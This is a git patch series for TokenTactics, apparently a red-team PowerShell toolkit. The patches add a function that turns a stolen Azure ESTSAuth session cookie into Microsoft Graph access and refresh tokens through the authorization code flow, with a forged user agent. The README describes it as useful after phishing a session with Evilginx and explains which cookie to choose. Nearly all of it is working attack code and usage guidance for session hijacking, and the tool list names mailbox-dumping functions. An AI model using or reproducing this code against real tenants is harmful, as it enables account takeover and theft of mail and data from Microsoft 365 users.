From 1a88fe7f01ea88731de4a23c0b3306d4ed714260 Mon Sep 17 00:00:00 2001 From: rotarydrone Date: Mon, 10 Jul 2023 02:01:33 +0000 Subject: [PATCH 1/3] Feature: Obtain tokens using authorization code flow/ESTSAuth cookie --- README.md | 48 ++++++++------ TokenTactics.psm1 | 1 + modules/TokenHandler.ps1 | 135 +++++++++++++++++++++++++++++++++++++++ 3 files changed, 163 insertions(+), 21 deletions(-) diff --git a/README.md b/README.md index 5488c40..25e5f17 100644 --- a/README.md +++ b/README.md @@ -27,6 +27,12 @@ Once the user has logged in, you'll be presented with the JWT and it will be sav #### DOD/Mil Device Code ```Get-AzureToken -Client DODMSGraph``` +### Get a Refresh Token from ESTSAuth* Cookie + +```Get-AzureTokenFromESTSCookie -estsAuthCookie "0.AbcApTk..." ``` +This module uses authorization code flow to obtain an access token and refresh token using ESTSAuth (or ESTSAuthPersistent) cookie. Useful if you have phished a session via Evilginx or have otherwise obtained this cookie. +*Note: This may not work in all cases as it may require user interaction. If this is the case, either use the Device Code flow above, or try `roadtx interactiveauth --estscookie`* + ### Refresh or Switch Tokens ```Invoke-RefreshToOutlookToken -domain myclient.org -refreshToken 0.A``` @@ -51,27 +57,27 @@ Get-Command -Module TokenTactics CommandType Name Version Source ----------- ---- ------- ------ -Function Invoke-ClearToken 0.0.2 TokenTactics -Function Invoke-DumpOWAMailboxViaMSGraphApi 0.0.2 TokenTactics -Function Invoke-ForgeUserAgent 0.0.2 TokenTactics -Function Get-AzureToken 0.0.2 TokenTactics -Function Get-TenantID 0.0.2 TokenTactics -Function Invoke-OpenOWAMailboxInBrowser 0.0.2 TokenTactics -Function Invoke-ParseJWTtoken 0.0.2 TokenTactics -Function Invoke-RefreshToAzureCoreManagementToken 0.0.2 TokenTactics -Function Invoke-RefreshToAzureManagementToken 0.0.2 TokenTactics -Function Invoke-RefreshToDODMSGraphToken 0.0.2 TokenTactics -Function Invoke-RefreshToGraphToken 0.0.2 TokenTactics -Function Invoke-RefreshToMAMToken 0.0.2 TokenTactics -Function Invoke-RefreshToMSGraphToken 0.0.2 TokenTactics -Function Invoke-RefreshToMSManageToken 0.0.2 TokenTactics -Function Invoke-RefreshToMSTeamsToken 0.0.2 TokenTactics -Function Invoke-RefreshToO365SuiteUXToken 0.0.2 TokenTactics -Function Invoke-RefreshToOfficeAppsToken 0.0.2 TokenTactics -Function Invoke-RefreshToOfficeManagementToken 0.0.2 TokenTactics -Function Invoke-RefreshToOutlookToken 0.0.2 TokenTactics -Function Invoke-RefreshToSubstrateToken 0.0.2 TokenTactics -Function Invoke-RefreshToYammerToken 0.0.2 TokenTactics +Function Get-AzureToken 0.0.2 TokenTactics +Function Get-AzureTokenFromESTSCookie 0.0.2 TokenTactics +Function Invoke-ClearToken 0.0.2 TokenTactics +Function Invoke-DumpOWAMailboxViaMSGraphApi 0.0.2 TokenTactics +Function Invoke-ForgeUserAgent 0.0.2 TokenTactics +Function Invoke-OpenOWAMailboxInBrowser 0.0.2 TokenTactics +Function Invoke-ParseJWTtoken 0.0.2 TokenTactics +Function Invoke-RefreshToAzureCoreManagementToken 0.0.2 TokenTactics +Function Invoke-RefreshToAzureManagementToken 0.0.2 TokenTactics +Function Invoke-RefreshToDODMSGraphToken 0.0.2 TokenTactics +Function Invoke-RefreshToGraphToken 0.0.2 TokenTactics +Function Invoke-RefreshToMAMToken 0.0.2 TokenTactics +Function Invoke-RefreshToMSGraphToken 0.0.2 TokenTactics +Function Invoke-RefreshToMSManageToken 0.0.2 TokenTactics +Function Invoke-RefreshToMSTeamsToken 0.0.2 TokenTactics +Function Invoke-RefreshToOfficeAppsToken 0.0.2 TokenTactics +Function Invoke-RefreshToOfficeManagementToken 0.0.2 TokenTactics +Function Invoke-RefreshToOutlookToken 0.0.2 TokenTactics +Function Invoke-RefreshToSharepointOnlineToken 0.0.2 TokenTactics +Function Invoke-RefreshToSubstrateToken 0.0.2 TokenTactics +Function Invoke-RefreshToYammerToken 0.0.2 TokenTactics ``` ## Authors and contributors diff --git a/TokenTactics.psm1 b/TokenTactics.psm1 index 3f11d7c..20bb135 100644 --- a/TokenTactics.psm1 +++ b/TokenTactics.psm1 @@ -29,6 +29,7 @@ $functions=@( "Invoke-GetTenantID" # TokenHandler.ps1 "Get-AzureToken" + "Get-AzureTokenFromESTSCookie" "Invoke-RefreshToSubstrateToken" "Invoke-RefreshToMSManageToken" "Invoke-RefreshToMSTeamsToken" diff --git a/modules/TokenHandler.ps1 b/modules/TokenHandler.ps1 index bb3bb3a..44baa2b 100644 --- a/modules/TokenHandler.ps1 +++ b/modules/TokenHandler.ps1 @@ -255,6 +255,141 @@ function Get-AzureToken { } } } +function Get-AzureTokenFromESTSCookie { + + <# + .DESCRIPTION + Authenticate to an application using Authorization Code flow + NOTE: This may require user interaction and may not work this way. + In that case, use device code flow or `roadtx interactiveauth` + + .EXAMPLE + Get-AzureTokenFromESTSCookie -Client MSTeams -estsAuthCookie "0.AbcAp.." + #> + + [cmdletbinding()] + Param( + [Parameter(Mandatory=$False)] + [String[]] + [ValidateSet("MSTeams","MSEdge","AzurePowershell")] + $Client = "MSTeams", + [Parameter(Mandatory=$True)] + [String[]] + $estsAuthCookie, + [Parameter(Mandatory=$False)] + [String] + $Resource = "https://graph.microsoft.com/", + [Parameter(Mandatory=$False)] + [ValidateSet('Mac','Windows','AndroidMobile','iPhone')] + [String]$Device, + [Parameter(Mandatory=$False)] + [ValidateSet('Android','IE','Chrome','Firefox','Edge','Safari')] + [String]$Browser + ) + + if ($Device) { + if ($Browser) { + $UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser + } + else { + $UserAgent = Invoke-ForgeUserAgent -Device $Device + } + } + else { + if ($Browser) { + $UserAgent = Invoke-ForgeUserAgent -Browser $Browser + } + else { + $UserAgent = Invoke-ForgeUserAgent + } + } + + + if($Client -eq "MSTeams") { + $client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" + } + elseif ($Client -eq "MSEdge") { + $client_id = "ecd6b820-32c2-49b6-98a6-444530e5a77a" + } + elseif ($Client -eq "AzurePowershell") { + $client_id = "1950a258-227b-4e31-a9cf-717495945fc2" + } + + $Headers=@{} + $Headers["User-Agent"] = $UserAgent + + $cookie = "ESTSAUTHPERSISTENT=$($estsAuthCookie)" + $session = [Microsoft.PowerShell.Commands.WebRequestSession]::new() + $cookie = [System.Net.Cookie]::new("ESTSAUTHPERSISTENT", "$($estsAuthCookie)") + $session.Cookies.Add('https://login.microsoftonline.com/', $cookie) + + $state = [System.Guid]::NewGuid().ToString() + $redirect_uri = ([System.Uri]::EscapeDataString("https://login.microsoftonline.com/common/oauth2/nativeclient")) + + if ($PSVersionTable.PSVersion.Major -lt 7) { + $sts_response = Invoke-WebRequest -UseBasicParsing -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $session -Method Get -Uri "https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=$($client_id)&resource=$($Resource)&redirect_uri=$($redirect_uri)&state=$($state)" -Headers $Headers + } + + else { + $sts_response = Invoke-WebRequest -UseBasicParsing -SkipHttpErrorCheck -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $session -Method Get -Uri "https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=$($client_id)&resource=$($Resource)&redirect_uri=$($redirect_uri)&state=$($state)" -Headers $Headers + } + + if ($sts_response.StatusCode -eq 302) { + + if ($PSVersionTable.PSVersion.Major -lt 7) { + $uri = [System.Uri]$sts_response.Headers.Location + } + + else { $uri = [System.Uri]$sts_response.Headers.Location[0] } # goofy ass pwsh 7 + + $query = $uri.Query.TrimStart('?') + + $queryParams = @{} + $paramPairs = $query.Split('&') + + foreach ($pair in $paramPairs) { + $parts = $pair.Split('=') + $key = $parts[0] + $value = $parts[1] + $queryParams[$key] = $value + } + + if ($queryParams.ContainsKey('code')) { + $refreshToken = $queryParams['code'] + } else { + Write-Host "[-] Code not found in redirected URL path" + Write-Host " Requested URL: https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=$($client_id)&resource=$($Resource)&redirect_uri=$($redirect_uri)&state=$($state)" + Write-Host " Response Code: $($sts_response.StatusCode)" + Write-Host " Response URI: $($sts_response.Headers.Location)" + return + } + + } else { + Write-Host "[-] No Redirect from authorization code request" + Write-Host " Requested URL: https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=$($client_id)&resource=$($Resource)&redirect_uri=$($redirect_uri)&state=$($state)" + Write-Host " Response Code: $($sts_response.StatusCode)" + Write-Host "[-] The request may require user interation to complete" + return + } + + if ($refreshToken){ + + $body = @{ + "resource" = $Resource + "client_id" = $client_id + "grant_type" = "authorization_code" + "redirect_uri" = "https://login.microsoftonline.com/common/oauth2/nativeclient" + "code" = $refreshToken + "scope" = "openid" + } + + $global:response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -Headers $Headers -Body $body + Write-Output $response + + } + +} + # Refresh Token Functions function Invoke-RefreshToSubstrateToken { <# From 6dc144a7f9c348e90d4c47ee1c54b7dcb505df15 Mon Sep 17 00:00:00 2001 From: rotarydrone Date: Mon, 10 Jul 2023 02:20:28 +0000 Subject: [PATCH 2/3] Clarify guidance on ESTSAuth cookie usage --- README.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/README.md b/README.md index 25e5f17..8a03869 100644 --- a/README.md +++ b/README.md @@ -22,6 +22,7 @@ You may also use these tokens with [AAD Internals](https://o365blog.com/aadinter ### Generate Device Code ```Get-AzureToken -Client MSGraph``` + Once the user has logged in, you'll be presented with the JWT and it will be saved in the $response variable. To access the access token use ```$response.access_token``` from your PowerShell window to display the token. You may also display the refresh token with ```$response.refresh_token```. Hint: You'll want the refresh token to keep refreshing to new access tokens! By default, Get-AzureToken results are logged to TokenLog.log. #### DOD/Mil Device Code @@ -30,7 +31,11 @@ Once the user has logged in, you'll be presented with the JWT and it will be sav ### Get a Refresh Token from ESTSAuth* Cookie ```Get-AzureTokenFromESTSCookie -estsAuthCookie "0.AbcApTk..." ``` + This module uses authorization code flow to obtain an access token and refresh token using ESTSAuth (or ESTSAuthPersistent) cookie. Useful if you have phished a session via Evilginx or have otherwise obtained this cookie. + +Be sure to use the right cookie! `ESTSAuthPersistent` is only useful when a CA policy actually grants a persistent session. Otherwise, you should use `ESTSAuth`. You can usually tell which one to use based on length, the longer cookie is the one you want to use :) + *Note: This may not work in all cases as it may require user interaction. If this is the case, either use the Device Code flow above, or try `roadtx interactiveauth --estscookie`* ### Refresh or Switch Tokens From cb92d0c0e3e9a38b5b56c15d2fcc96e114449a99 Mon Sep 17 00:00:00 2001 From: rotarydrone Date: Mon, 10 Jul 2023 16:00:08 +0000 Subject: [PATCH 3/3] Clarify default behavior of Get-AzureTokenFromESTSCookie --- modules/TokenHandler.ps1 | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/modules/TokenHandler.ps1 b/modules/TokenHandler.ps1 index 44baa2b..8f4c648 100644 --- a/modules/TokenHandler.ps1 +++ b/modules/TokenHandler.ps1 @@ -259,7 +259,9 @@ function Get-AzureTokenFromESTSCookie { <# .DESCRIPTION - Authenticate to an application using Authorization Code flow + Authenticate to an application (default graph.microsoft.com) using Authorization Code flow. + Authenticates to MSGraph as Teams FOCI client by default. + NOTE: This may require user interaction and may not work this way. In that case, use device code flow or `roadtx interactiveauth` @@ -340,7 +342,7 @@ function Get-AzureTokenFromESTSCookie { $uri = [System.Uri]$sts_response.Headers.Location } - else { $uri = [System.Uri]$sts_response.Headers.Location[0] } # goofy ass pwsh 7 + else { $uri = [System.Uri]$sts_response.Headers.Location[0] } $query = $uri.Query.TrimStart('?') @@ -365,10 +367,10 @@ function Get-AzureTokenFromESTSCookie { } } else { - Write-Host "[-] No Redirect from authorization code request" + Write-Host "[-] Expected 302 redirect but received other status" Write-Host " Requested URL: https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=$($client_id)&resource=$($Resource)&redirect_uri=$($redirect_uri)&state=$($state)" Write-Host " Response Code: $($sts_response.StatusCode)" - Write-Host "[-] The request may require user interation to complete" + Write-Host "[-] The request may require user interation to complete, or the provided cookie is invalid" return }